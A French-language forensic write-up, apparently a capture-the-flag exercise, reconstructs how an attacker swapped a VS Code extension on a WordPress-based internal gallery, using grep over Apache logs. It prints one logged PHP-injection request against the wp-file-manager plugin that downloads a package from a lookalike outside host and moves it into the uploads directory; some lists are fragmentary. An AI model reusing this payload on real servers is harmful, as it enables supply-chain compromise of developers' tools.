Analyse d’une compromission d’extension à partir de logs serveur.
La cellule de sécurité a constaté une anomalie sur le serveur hébergeant la galerie d’extensions des développeurs de l’entreprise.
Armé d’un fichier de log du serveur, votre tâche est de comprendre comment l’attaquant a pu compromettre l’une des extensions.
On reçoit un fichier de logs Apache issu d’un serveur qui héberge une galerie d’extensions à usage interne.
Le contexte de l’incident : une extension “légitime” aurait été remplacée par une version non conforme, possiblement malveillante.
Mission :
En ouvrant le fichier de logs, on remarque que beaucoup d’URLs concernent des chemins tels que :
/wp-content/...
/wp-includes/...
Ce motif, très spécifique, pointe quasi systématiquement vers un serveur WordPress (structure standard des fichiers d’un WP).
On peut donc supposer que le serveur tourne sur un socle WordPress, possiblement avec des plugins installés pour enrichir la gestion des extensions.
Dans ce contexte, il est courant que des attaques exploitent des plugins vulnérables de WordPress, via des requêtes HTTP GET ou POST malicieuses.
Le remplacement d’une extension nécessite soit :
On part donc à la recherche de telles requêtes dans les logs.
En l’absence d’autres indices, on cible en priorité :
/plugins/.Pour maximiser les chances de tomber sur une exploitation directe, on peut rechercher dans les logs les lignes contenant des séquences caractéristiques, par exemple :
php.*php.copy(), rename(), /tmp/.On lance alors :
grep -iE 'php.*php' extensions.access.log.1
# ou
grep -iE 'copy\(|rename\(' extensions.access.log.1
La recherche fait rapidement ressortir une requête particulièrement évocatrice :
10.23.1.23 - - [11/Oct/2025:10:35:03 +0000] "GET /wp-content/plugins/wp-file-manager/lib/php/class-search-handler.php?q=%3C%3Fphp%20copy(%27https%3A%2F%2Fmarketplace.visua1studio.com%2F_apis%2Fpublic%2Fgallery%2Fpublishers%2Fformulahendry%2Fvsextensions%2Fcode-runner%2F0.12.2%2Fvspackage%27%2C%27%2Ftmp%2Fformulahendry.code-runner.vsix%27)%3B%20rename(%27%2Ftmp%2Fformulahendry.code-runner.vsix%27%2C%27%2Fvar%2Fwww%2Fwordpress%2Fwp-content%2Fuploads%2Fextensions%2Fformulahendry.code-runner.vsix%27)%3B%20%3F%3E HTTP/1.1" 200 78 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/17.0 Safari/605.1.15"
En décodant le paramètre q=..., on comprend que l’attaquant a demandé au serveur :
vspackage) externe et la placer dans /tmp/. /var/www/wordpress/wp-content/uploads/extensions/formulahendry.code-runner.vsix .Le script visé :
/wp-content/plugins/wp-file-manager/lib/php/class-search-handler.php .
formulahendry.code-runner.vsix .10.23.1.23 .wp-file-manager .